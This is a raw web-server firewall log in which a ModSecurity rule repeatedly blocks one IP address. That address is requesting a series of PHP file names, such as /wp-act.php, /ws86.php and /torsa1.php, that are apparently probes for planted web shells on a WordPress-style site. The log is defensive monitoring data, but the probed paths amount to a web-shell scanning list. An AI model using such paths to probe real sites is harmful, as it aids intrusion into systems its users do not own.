[Wed Mar 25 09:28:40.144927 2026] [:error] [pid 26321:tid 26344] [client 158.158.72.125:57641] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-act.php"] [unique_id "acM6SPKO65qqGZCSPZrDKwAAAgU"]
[Wed Mar 25 09:28:40.671077 2026] [:error] [pid 47989:tid 47997] [client 158.158.72.125:56226] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/amax.php"] [unique_id "acM6SCWKdJMhIccROjnKcQAAAUY"]
[Wed Mar 25 09:28:41.201028 2026] [:error] [pid 47989:tid 47996] [client 158.158.72.125:22907] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/amax.php"] [unique_id "acM6SSWKdJMhIccROjnKcwAAAUU"]
[Wed Mar 25 09:28:41.881108 2026] [:error] [pid 47989:tid 48014] [client 158.158.72.125:51701] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/amax.php"] [unique_id "acM6SSWKdJMhIccROjnKegAAAVc"]
[Wed Mar 25 09:28:42.395939 2026] [:error] [pid 47946:tid 47959] [client 158.158.72.125:50262] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/amax.php"] [unique_id "acM6SjipQTqBMSeKYhc5uAAAAQs"]
[Wed Mar 25 09:28:42.987180 2026] [:error] [pid 26449:tid 26475] [client 158.158.72.125:27678] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws86.php"] [unique_id "acM6StpZ2T15NDqzAjHZcAAAAlY"]
[Wed Mar 25 09:28:43.534053 2026] [:error] [pid 26449:tid 26477] [client 158.158.72.125:38688] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws86.php"] [unique_id "acM6S9pZ2T15NDqzAjHZcwAAAlg"]
[Wed Mar 25 09:28:44.094417 2026] [:error] [pid 26449:tid 26465] [client 158.158.72.125:38662] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws86.php"] [unique_id "acM6TNpZ2T15NDqzAjHZdgAAAkw"]
[Wed Mar 25 09:28:44.642776 2026] [:error] [pid 26449:tid 26454] [client 158.158.72.125:22851] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws86.php"] [unique_id "acM6TNpZ2T15NDqzAjHZeAAAAkE"]
[Wed Mar 25 09:28:45.294409 2026] [:error] [pid 26321:tid 26353] [client 158.158.72.125:51691] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lib.php"] [unique_id "acM6TfKO65qqGZCSPZrDLwAAAgw"]
[Wed Mar 25 09:28:45.819560 2026] [:error] [pid 26449:tid 26468] [client 158.158.72.125:24743] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lib.php"] [unique_id "acM6TdpZ2T15NDqzAjHZhgAAAk8"]
[Wed Mar 25 09:28:46.371525 2026] [:error] [pid 756:tid 850] [client 158.158.72.125:40765] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lib.php"] [unique_id "acM6TjOaW6oylMIDBCTfHAAAAIA"]
[Wed Mar 25 09:28:46.971252 2026] [:error] [pid 47989:tid 47991] [client 158.158.72.125:24757] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lib.php"] [unique_id "acM6TiWKdJMhIccROjnKlAAAAUA"]
[Wed Mar 25 09:28:47.640215 2026] [:error] [pid 26449:tid 26456] [client 158.158.72.125:23465] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jga.php"] [unique_id "acM6T9pZ2T15NDqzAjHZkQAAAkM"]
[Wed Mar 25 09:28:48.194892 2026] [:error] [pid 47989:tid 48009] [client 158.158.72.125:40760] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jga.php"] [unique_id "acM6UCWKdJMhIccROjnKnAAAAVI"]
[Wed Mar 25 09:28:48.773382 2026] [:error] [pid 47989:tid 48015] [client 158.158.72.125:32884] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jga.php"] [unique_id "acM6UCWKdJMhIccROjnKoQAAAVg"]
[Wed Mar 25 09:28:49.304216 2026] [:error] [pid 26449:tid 26459] [client 158.158.72.125:25837] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jga.php"] [unique_id "acM6UdpZ2T15NDqzAjHZmQAAAkY"]
[Wed Mar 25 09:28:49.912664 2026] [:error] [pid 26321:tid 26363] [client 158.158.72.125:40707] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin-footer.php"] [unique_id "acM6UfKO65qqGZCSPZrDNwAAAhY"]
[Wed Mar 25 09:28:50.465262 2026] [:error] [pid 47946:tid 47958] [client 158.158.72.125:60883] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin-footer.php"] [unique_id "acM6UjipQTqBMSeKYhc5zAAAAQo"]
[Wed Mar 25 09:28:51.014262 2026] [:error] [pid 47946:tid 47964] [client 158.158.72.125:46911] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin-footer.php"] [unique_id "acM6UzipQTqBMSeKYhc5zwAAARA"]
[Wed Mar 25 09:28:51.542680 2026] [:error] [pid 892:tid 902] [client 158.158.72.125:29042] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin-footer.php"] [unique_id "acM6UyT_G8WMU3T3yxpjxgAAAMU"]
[Wed Mar 25 09:28:52.100350 2026] [:error] [pid 892:tid 918] [client 158.158.72.125:33468] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-png.php"] [unique_id "acM6VCT_G8WMU3T3yxpjyAAAANM"]
[Wed Mar 25 09:28:52.822388 2026] [:error] [pid 26449:tid 26465] [client 158.158.72.125:32248] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-png.php"] [unique_id "acM6VNpZ2T15NDqzAjHZoAAAAkw"]
[Wed Mar 25 09:28:53.540157 2026] [:error] [pid 26449:tid 26468] [client 158.158.72.125:32218] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-png.php"] [unique_id "acM6VdpZ2T15NDqzAjHZoQAAAk8"]
[Wed Mar 25 09:28:54.151087 2026] [:error] [pid 892:tid 894] [client 158.158.72.125:45716] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-png.php"] [unique_id "acM6ViT_G8WMU3T3yxpjzwAAAMA"]
[Wed Mar 25 09:28:54.792857 2026] [:error] [pid 47946:tid 47967] [client 158.158.72.125:29046] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp5.php"] [unique_id "acM6VjipQTqBMSeKYhc51AAAARM"]
[Wed Mar 25 09:28:55.523932 2026] [:error] [pid 755:tid 823] [client 158.158.72.125:41879] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp5.php"] [unique_id "acM6V6S6bdaeEwgCGwpaOQAAAEg"]
[Wed Mar 25 09:28:56.077151 2026] [:error] [pid 756:tid 865] [client 158.158.72.125:58542] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp5.php"] [unique_id "acM6WDOaW6oylMIDBCTfJwAAAI0"]
[Wed Mar 25 09:28:56.635158 2026] [:error] [pid 26449:tid 26456] [client 158.158.72.125:6961] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp5.php"] [unique_id "acM6WNpZ2T15NDqzAjHZrAAAAkM"]
[Wed Mar 25 09:28:57.354247 2026] [:error] [pid 26449:tid 26476] [client 158.158.72.125:44341] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws85.php"] [unique_id "acM6WdpZ2T15NDqzAjHZrwAAAlc"]
[Wed Mar 25 09:28:57.965895 2026] [:error] [pid 26449:tid 26464] [client 158.158.72.125:21541] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws85.php"] [unique_id "acM6WdpZ2T15NDqzAjHZtgAAAks"]
[Wed Mar 25 09:28:58.542054 2026] [:error] [pid 892:tid 909] [client 158.158.72.125:35093] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws85.php"] [unique_id "acM6WiT_G8WMU3T3yxpj4QAAAMs"]
[Wed Mar 25 09:28:59.023598 2026] [:error] [pid 26449:tid 26474] [client 158.158.72.125:32186] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws85.php"] [unique_id "acM6W9pZ2T15NDqzAjHZvQAAAlU"]
[Wed Mar 25 09:28:59.525709 2026] [:error] [pid 26449:tid 26460] [client 158.158.72.125:65279] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/public/file.php"] [unique_id "acM6W9pZ2T15NDqzAjHZxAAAAkc"]
[Wed Mar 25 09:29:00.075243 2026] [:error] [pid 26449:tid 26471] [client 158.158.72.125:63312] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/public/file.php"] [unique_id "acM6XNpZ2T15NDqzAjHZzQAAAlI"]
[Wed Mar 25 09:29:00.606879 2026] [:error] [pid 26321:tid 26340] [client 158.158.72.125:20984] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/public/file.php"] [unique_id "acM6XPKO65qqGZCSPZrDQAAAAgE"]
[Wed Mar 25 09:29:01.126537 2026] [:error] [pid 26449:tid 26458] [client 158.158.72.125:35174] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/public/file.php"] [unique_id "acM6XdpZ2T15NDqzAjHZ1gAAAkU"]
[Wed Mar 25 09:29:01.616493 2026] [:error] [pid 756:tid 853] [client 158.158.72.125:27112] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/buc.php"] [unique_id "acM6XTOaW6oylMIDBCTfLgAAAIM"]
[Wed Mar 25 09:29:02.136430 2026] [:error] [pid 756:tid 862] [client 158.158.72.125:64372] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/buc.php"] [unique_id "acM6XjOaW6oylMIDBCTfLwAAAIo"]
[Wed Mar 25 09:29:02.640582 2026] [:error] [pid 754:tid 783] [client 158.158.72.125:43240] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/buc.php"] [unique_id "acM6XjisL3asPbA3CtjZvAAAABI"]
[Wed Mar 25 09:29:03.162534 2026] [:error] [pid 754:tid 789] [client 158.158.72.125:27097] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/buc.php"] [unique_id "acM6XzisL3asPbA3CtjZvgAAABg"]
[Wed Mar 25 09:29:03.662126 2026] [:error] [pid 754:tid 784] [client 158.158.72.125:62177] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws84.php"] [unique_id "acM6XzisL3asPbA3CtjZvwAAABM"]
[Wed Mar 25 09:29:04.165791 2026] [:error] [pid 26320:tid 26367] [client 158.158.72.125:55634] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws84.php"] [unique_id "acM6YDkUgS2mHAojGnmC7AAAAcs"]
[Wed Mar 25 09:29:04.658536 2026] [:error] [pid 26320:tid 26375] [client 158.158.72.125:48215] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws84.php"] [unique_id "acM6YDkUgS2mHAojGnmC7gAAAdM"]
[Wed Mar 25 09:29:05.185034 2026] [:error] [pid 47946:tid 47957] [client 158.158.72.125:6486] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws84.php"] [unique_id "acM6YTipQTqBMSeKYhc55AAAAQk"]
[Wed Mar 25 09:29:05.744564 2026] [:error] [pid 892:tid 913] [client 158.158.72.125:43211] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-the.php"] [unique_id "acM6YST_G8WMU3T3yxpj6AAAAM8"]
[Wed Mar 25 09:29:06.255363 2026] [:error] [pid 756:tid 859] [client 158.158.72.125:27027] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-the.php"] [unique_id "acM6YjOaW6oylMIDBCTfNwAAAIc"]
[Wed Mar 25 09:29:06.762808 2026] [:error] [pid 26321:tid 26353] [client 158.158.72.125:49162] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-the.php"] [unique_id "acM6YvKO65qqGZCSPZrDSQAAAgw"]
[Wed Mar 25 09:29:07.280070 2026] [:error] [pid 756:tid 852] [client 158.158.72.125:64933] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-the.php"] [unique_id "acM6YzOaW6oylMIDBCTfOQAAAII"]
[Wed Mar 25 09:29:07.863867 2026] [:error] [pid 26321:tid 26356] [client 158.158.72.125:6470] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/torsa1.php"] [unique_id "acM6Y_KO65qqGZCSPZrDTgAAAg8"]
[Wed Mar 25 09:29:08.451404 2026] [:error] [pid 754:tid 770] [client 158.158.72.125:61502] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/torsa1.php"] [unique_id "acM6ZDisL3asPbA3CtjZxQAAAAU"]
[Wed Mar 25 09:29:09.052553 2026] [:error] [pid 754:tid 782] [client 158.158.72.125:6492] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/torsa1.php"] [unique_id "acM6ZTisL3asPbA3CtjZxgAAABE"]
[Wed Mar 25 09:29:09.603452 2026] [:error] [pid 26449:tid 26475] [client 158.158.72.125:6499] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/torsa1.php"] [unique_id "acM6ZdpZ2T15NDqzAjHZ3QAAAlY"]
[Wed Mar 25 09:29:10.176676 2026] [:error] [pid 892:tid 896] [client 158.158.72.125:22223] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abc.php"] [unique_id "acM6ZiT_G8WMU3T3yxpj7gAAAMI"]
[Wed Mar 25 09:29:10.669474 2026] [:error] [pid 47946:tid 47963] [client 158.158.72.125:30091] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abc.php"] [unique_id "acM6ZjipQTqBMSeKYhc57QAAAQ8"]
[Wed Mar 25 09:29:11.190655 2026] [:error] [pid 47946:tid 47952] [client 158.158.72.125:64367] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abc.php"] [unique_id "acM6ZzipQTqBMSeKYhc57wAAAQQ"]
[Wed Mar 25 09:29:11.726104 2026] [:error] [pid 26449:tid 26474] [client 158.158.72.125:22271] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abc.php"] [unique_id "acM6Z9pZ2T15NDqzAjHZ3wAAAlU"]
